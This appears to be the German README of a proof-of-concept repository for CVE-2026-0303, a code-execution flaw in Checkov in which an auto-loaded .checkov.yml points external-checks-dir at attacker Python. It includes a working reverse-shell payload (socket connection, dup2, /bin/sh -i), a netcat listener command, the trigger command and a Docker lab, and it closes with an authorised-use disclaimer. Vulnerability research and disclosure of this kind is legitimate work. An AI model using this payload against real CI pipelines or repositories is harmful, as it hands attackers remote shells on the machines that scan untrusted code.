
Checkov PoC: Ausführung beliebigen Codes durch automatisch geladene Konfiguration und nicht signierte externe Python-Checks.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severity: Low
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Schwachstelle zur Ausführung beliebigen Codes in Checkov.
Veröffentlicht von Palo Alto Networks am 9. September 2026.
Betroffene Versionen: Checkov 3.2.0 bis 3.2.531
Behobene Version: Checkov 3.2.532
Ausführung beliebigen Codes in Checkov über eine automatisch geladene .checkov.yml-Datei
-> Ausführung von angreiferkontrolliertem Python über einen nicht signierten externen benutzerdefinierten
Check.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov unterstützt externe Python-Checks. Diese Checks werden absichtlich als Python-Module geladen, was bedeutet, dass Python-Anweisungen auf oberster Ebene während des Modulimports ausgeführt werden.
Wenn Checkov ein Verzeichnis scannt, sucht es automatisch in diesem Verzeichnis nach einer
.checkov.yml- oder .checkov.yaml-Konfigurationsdatei. Eine
angreiferkontrollierte Konfigurationsdatei könnte external-checks-dir auf ein
Verzeichnis innerhalb des gescannten Repositorys setzen.
Dadurch entsteht die folgende Ausführungskette:
Opfer scannt ein nicht vertrauenswürdiges Repository
->
Checkov lädt automatisch .checkov.yml
->
Die Konfiguration setzt external-checks-dir
->
Checkov importiert ein angreiferkontrolliertes Python-Modul
->
Python-Code auf oberster Ebene wird mit Checkovs Rechten ausgeführt
Der Angreifer muss weder den Terraform-Parser ausnutzen noch eine gültige Checkov-Richtlinie bereitstellen. Die Codeausführung erfolgt, wenn Checkov die Python-Datei importiert.
Dies ist besonders relevant für CI-Pipelines, die Checkov automatisch gegen Pull Requests oder andere nicht vertrauenswürdige Repository-Inhalte ausführen.
Die Lab-Payload verbindet sich vom Checkov-Container zu einem Listener auf dem Host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Ändern Sie die Payload unter exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Starten Sie einen Listener auf dem Host:
ncat -lvkp 4444
Lösen Sie das verwundbare Verhalten aus, indem Sie das angreiferkontrollierte Verzeichnis scannen:
checkov -d /workspace --framework terraform --skip-download
Checkov liest automatisch /workspace/.checkov.yml, entdeckt das externe
Check-Verzeichnis und importiert poc_check.py. Der Listener sollte die
Shell erhalten, wenn der Aufruf exploit() auf Modulebene ausgeführt wird.
Ich habe ein einfaches Docker-Lab bereitgestellt, das Sie einrichten können über
docker compose up -d
und sich mit dessen Shell verbinden können über
docker exec -it scan-server /bin/sh
Dieses Repository enthält einen unabhängigen Proof of Concept für CVE-2026-0303. Die Schwachstelle wurde in einer isolierten Laborumgebung nachgestellt und getestet.
Dieses Projekt ist ausschließlich für autorisierte Sicherheitsforschung, Schulung und Tests in isolierten Umgebungen gedacht. Verwenden Sie es nicht gegen Systeme, Netzwerke, Repositories oder Daten ohne ausdrückliche Genehmigung des Eigentümers.
Der Autor stellt dieses Projekt wie besehen bereit, ohne Gewährleistungen jeglicher Art, und übernimmt keine Verantwortung für Schäden, Datenverlust, Dienstunterbrechungen, unbefugten Zugriff oder Missbrauch dieser Software oder ihrer Derivate.